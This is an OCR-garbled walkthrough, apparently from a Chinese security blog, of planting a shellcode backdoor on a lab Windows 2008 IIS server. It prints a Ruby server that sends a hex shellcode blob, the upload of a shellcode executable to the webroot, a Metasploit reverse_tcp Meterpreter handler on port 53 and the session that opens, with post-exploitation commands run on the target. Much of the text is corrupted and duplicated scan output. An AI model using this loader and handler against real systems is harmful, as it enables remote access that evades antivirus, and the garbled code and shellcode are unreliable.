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GEH - 192.168.1.4 Debian
#0810 192.168.1.2 Windows 2008

B %% - 360121+ +360%5H

Do

[*] WAAFIER [ C:D:E: ]

4 C:\inetpub\wwwroot\> tasklist

6 BREHZFR PID &iE% =iE# WA

8 System Idle Process @ 0 24 K
9 System 4 0 372 K

10 smss.exe 236 @ 956 K

Il csrss.exe 324 0 5,572 K

12 csrss.exe 364 1 14,452 K
13 wininit.exe 372 @ 4,508 K
14 winlogon.exe 408 1 5,364 K
15 services.exe 468 0 7,376 K
16 lsass.exe 476 © 9,896 K

17 lsm.exe 484 © 3,876 K

18 svchost.exe 576 @ 8,684 K
19 vmacthlp.exe 632 @ 3,784 K

20 svchost.exe 676 @ 7,384 K

21 svchost.exe 764 0 12,716 K
22 svchost.exe 800 0 29,792 K
23 svchost.exe 848 0 11,248 K
24 svchost.exe 900 0 9,308 K

25 svchost.exe 940 0 16,184 K
26 svchost.exe 332 0 11,800 K
27 spoolsv.exe 548 0 15,568 K
28 svchost.exe 1052 0 8,228 K
29 svchost.exe 1076 © 8,808 K
30 svchost.exe 1144 © 2,576 K
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VGAuthService.exe 1216 0 10,360 K
vmtoolsd.exe 1300 0 18,068 K
ManagementAgentHost.exe 1332 0 8,844 K
svchost.exe 1368 0 11,884 K
WmiPrvSE.exe 1768 © 13,016 K
dllhost.exe 1848 © 11,224 K
msdtc.exe 1940 0 7,736 K
WmiPrvSE.exe 1440 0 19,768 K
mscorsvw.exe 296 0 4,732 K
mscorsvw.exe 584 0 5,088 K
sppsvc.exe 1476 0 8,408 K
taskhost.exe 2612 1 6,344 K
dwm.exe 2868 1 4,604 K
explorer.exe 2896 1 44,912 K
vmtoolsd.exe 3008 1 17,744 K
TrustedInstaller.exe 2268 @ 15,776 K
360Tray.exe 2684 1 6,056 K
360sd.exe 2636 1 1,316 K
ZhuDongFangYu.exe 2456 © 14,292 K
360rp.exe 1712 1 27,072 K
SoftMgrLite.exe 864 1 16,816 K
w3wp.exe 3300 0 42,836 K
svchost.exe 3840 0 4,584 K
notepad.exe 3712 1 5,772 K
cmd.exe 3384 0 2,376 K
conhost.exe 3520 © 3,420 K
tasklist.exe 3096 © 5,276 K
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C:\> dir
Kghgs C HHIBEARE.
L4152 C6F8-9BAB

C:\ HWHXx

2017/12/13 ©3:28 <DIR> inetpub

2009/07/14 11:20 <DIR> Perflogs

2017/12/13 ©3:28 <DIR> Program Files
2019/01/23 14:09 <DIR> Program Files (x86



11 2019/01/23 14:15 <DIR> Users
12 2017/12/13 ©3:25 <DIR> Windows
13 @ N o Fi

14 6 MNHZ 21,387,132,928 W7

inetpub

B#r{ix6417 Windows 2008

I C:\> ver

9

3 Microsoft Windows [}t/ 6.1.7600

Microzoft Windows [I{ﬁ"—:tl_ B, 1. TROO]

FoEpayload :

I root@John:/var/www/html# cat ./Micropoor_rev.rb
2 require 'socket'

3 if ARGV.empty?

1 puts "Usage:"

5 puts "Micropoor.rb port"

6 exit

7 end
9 PORT = ARGV.first.to_ i

11 def handle_connection(client

12 puts "Payload is on-line #{client}"



14 client.write("4831c94881e9coOffffff488do5efffff{ff48bb32667fcceeadb9of7:
8315827482df8ffffffe2f4ce2efc281e4575f732663e9daffdebab6642ed4ele8be532a55.
2ef49ef6e532a5122ef4bebee5b640782c32fd27e588379e5alebBec8199b6f3af728dexft
c5b1a60272e8465f1f997c705a37cd3ecb388f2a6d7dc36bdfb9f732edff44eeadb9bfb7at
Obababac69a7b92e678865ed99be33b69c9aab5270b6b952F784ef7bf4c6fb2ededcd2ec’
83e3f277e0dd64dccP67e6533e8e6e8802647be278865ed9dbe33b6198d65a1f1b3b9266!:
85ef7df87c36ee37cd3eecelb66a382696aff5f8ae733c3741028df8a5cd86278db7f7+1"
c208134331152e4be8c110cfebl9e8bf732272985674bf176dec67ecceeed30127bda7dc
ee98795+33623e98a7245dbbbb973e76a2da9ff0cdb3334504c5b8163266268d5484399c:
299aaa6bedece7a7622b4e05a39c79bfcdab37452ce546377aefbe8d5447b628d299aa846"
6ad3e7733e33450ce5300e73dce6699acc4622b7a60bc6a7527782d78eeccceeadfl74de’
637450ce0883e58623e94a62440b68864a604b1526c74ca660199a62e7dd76cef89abaee:
€09f32767fccaff5fl7ec02ed4e05af17e15361838019a6247abebbal32fd27e430077aef:
5846754f84d30bfb79311783a01321b5794affae0@9132267fccaff5d3f76827c5¢c7c1a28¢
08e731268d54d8d7ba5399aa85116350cbcd998084efbefldef42efa3a9bl19+808d53el5
cb7e47e35c2d3dd9a1178b9f7")

15 client.close

16 end

17

18 socket = TCPServer.new('0.0.0.0', PORT)
19 puts "Listening on #{PORT}. "

20

21 while client = socket.accept

22 Thread.new { handle_connection(client)}
23 end

24

25 root@John:/var/www/html# ruby ./Micropoor_rev.rb 8080
26 Listening on 80890.

27



root@lohn: /svar e /htmlg cat . /Micropoor_rev.rb
reguire

poor. rb po rt"
end

PORT = ARGY. first. to 1

def handle_connection(client]
puts "Payload 1s on-line #{clientl}"

client.writ

nnpwf'ﬂ.D.G.G'. FORT Y

handle_connection{client])}
end
rootgJohn: /v: ¢ /htmlg ruby . /Micropoor_rev.rb 8020

Listening an 8

_F{EMicropoor_shellcode_x64.exe

] C:hinetpubhwwwrooth o E=Hn
192, 168, 1.2 BF ), 37k ) k] (=] oo Bt
=] S L 1 aspnet_client 2019-01-2314:15:09 1] Diirectary
=l I inetpub ) 11.a3px 209-01-23 14:15:55 71 tichive
€ izstart him 20171213 032814 29 Archive

) i aspnlEt—cli ent icropoor_zhelcode_xB4. 2019-01-23 36152 Archive
=l [ $Recyele. Bin welcome.png 20171213 022814 184945 Archive
] 5-1-5-21-3190351051-2221342R5-2534"
[ 3E0SANDEOL

] Documents and Settings

Lo fad

BoEmsf :

msf exploit(multi/handler) > use exploit/multi/handler

mst exploit(multi/handler) > set payload windows/x64/meterpreter/rever
se_tcp

payload => windows/x64/meterpreter/reverse_tcp

msf exploit(multi/handler) > show options

Module options (exploit/multi/handler



8 Name Current Setting Required Description

12 Payload options (windows/x64/meterpreter/reverse_tcp):

14 Name Current Setting Required Description

16 EXITFUNC process yes Exit technique (Accepted:
SSs, none)

, seh, thread, proce

17 LHOST 192.168.1.4 yes The listen address (an interface may be specifi
ed)

18 LPORT 53 yes The listen port

19

20

21 Exploit target:

22

23 Id Name

P

25 @ Wildcard Target

26

27

28 msf exploit(multi/handler) > exploit
29

30 [*] Started reverse TCP handler on 192.168.1.4:53
31



qt-__plultlmult handierl = _hnw Dptlnnﬁd

Module options (exploit/multishandler)

Mame Current Setting Required Description

Payload options {windo
Current Setting quu1rpd Description
E ITFUMC  proce } ¥it technigue epted: '', seh, thread, proce noned
LHOET B i 1 fi
LPORT
Exploit target:
Id MName
@ Wildcard Target
msf exploitimultishandler] = exploit

[*] Started reverse TCP handler on 192,158.1.4:53

=T

[#] fEifT% [ C:D:E:

vinetpubhwwwroot Wicropoor_shelleode_xf4, exe 5030 192,163, 1.4

msf exploit(multi/handler) > exploit

*] Started reverse TCP handler on 192.168.1.4:53
*] Sending stage (206403 bytes) to 192.168.1.2

*] Meterpreter session 6 opened (192.168.1.4:53 -> 192.168.1.2:49744
at 2019-01-23 01:29:00 -0500

meterpreter > getuid

Server username: IIS APPPOOL\DefaultAppPool
meterpreter > sysinfo

Computer WIN-5BMIOHGC42S

0S Windows 2008 R2 (Build 7600
Architecture x64

System Language zh_CN

Domain WORKGROUP



16
17
18
19
20
21
22
23

24

26
27
28
29
30
31
32
38

34

36
37
38
39

Logged On Users

1

Meterpreter : x64/windows

meterpreter > i

Interface 1

Name : Software
Hardware MAC
MTU : 429496729
IPv4 Address
IPv4 Netmask :
IPv6 Address
IPv6 Netmask :

Interface 11

Name : Intel(R)
Hardware MAC
MTU : 1500

IPv4 Address
IPv4 Netmask :
IPv6 Address
IPv6 Netmask :

pconfig

Loopback Interface 1

: 00:00:00:00:00:00

5

127.90.0.1

255.0.0.0

384dl

frff: ffff:ffff:ffff:ffff:ffff:Fff:Ffff

PRO/1000 MT Network Connection

: 00:0c:29:bc:0d:5c

192.168.1.2
255.255.255.0

: fe80::5582:70c8:a5a8:8223

FEFFFRFFFFFFIFRFF:



-= 192,168.1,2:49744) at 2019-01 01:29:00 -0500

IIS APPPOOLMDefaultAppPool
nfo
¢ WIN-5BMISHSG
2R (Build 7&00) .
hitecture
m Language

: k Interface 1
Hardware MAC

WTL

IPv4 Add

IFvw4 Metm

cEFFf o ffff FFff o fF T fEEF

; : onnection
Hardware MAC
MTL

IPv4 &ddre
IFv4 Metma
IPvE Addre
IFvE Met

Hardware MAC .

MTL

IPyE Addre :

IPySE Netma o f cEfff A ff FEff ffFf FFff: FfFf. ffFf

meterpreter > ps

Process List

PID PPID Name Arch Session User Path
Q@ 0 [System Process

4 0 System

236 4 smss.exe

296 468 mscorsvw.exe

324 316 csrss.exe



16
17
18
19
20
21
22
23

24

26
27
28
29
30
31
32
38

36
37
38
39
40
4]
42
43

48

1 C:

49

50

ol

332
364
372
408
468
476
484
548
576
584
632
676
764
800
848
864
900
940
1052
1076
1144
1216
1300
1332
1368
1440
1476
1712
1768
1848
1940
2456
2612
2636
2684
2788

468
356
316
356
372
372
372
468
468
468
468
468
468
468
468
2684
468
468
468
468
468
468
468
468
468
576
468
263
576
468
468
468
468
109
109
340

svchost.exe
csrss.exe
wininit.exe
winlogon.exe
services.exe
lsass.exe
lsm.exe
spoolsv.exe
svchost.exe
MSCorsvw.exe
vmacthlp.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
SoftMgrLite.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
VGAuthService.exe
vmtoolsd.exe
ManagementAgentHost.exe
svchost.exe
WmiPrvSE.exe
sppsvc.exe
6 360rp.exe
WmiPrvSE.exe
dllhost.exe
msdtc.exe
ZhuDongFangYu.exe
taskhost.exe
6 360sd.exe
6 360Tray.exe

8 Micropoor_shellcode_x64.exe x64 @ IIS APPPOOL\DefaultAppPoc
\inetpub\wwwroot\Micropoor_shellcode_ x64.exe

2868 900 dwm.exe

2896 2852 explorer.exe
3008 2896 vmtoolsd.exe



3196 468 svchost.exe

3300 1368 w3wp.exe x64 © IIS APPPOOL\DefaultAppPool c:\windows\systen
32\inetsrv\w3wp.exe

3408 3300 cmd.exe x64 @ IIS APPPOOL\DefaultAppPool C:\Windows\system:
2\cmd. exe

3712 2896 notepad.exe

4092 324 conhost.exe x64 @ IIS APPPOOL\DefaultAppPool C:\Windows\syst
em32\conhost.exe

meterpreter >

neterpreter = ps

PPID

IIS APPPOOLYDefaultd ppFoo 1

IIS APPP aultippPool
Defaultipp




A= 88 Em o

t WYindows 6.1.76881
] (c)> 2089 Microsoft Corporation. ¥

C:xlzers Adninistrator>ipconfiyg

Windows 1P i E

: FeB@::5082:70cB:aba8:8223%11
: 192.168.1.2

= 255.255.255.8

:192.168.1.1

ByR -
Micropoor_shellcode for payload backdoor

https://micropoor.blogspot.com/2019/01/micropoorshellcode-for-payload-
backdoor.html
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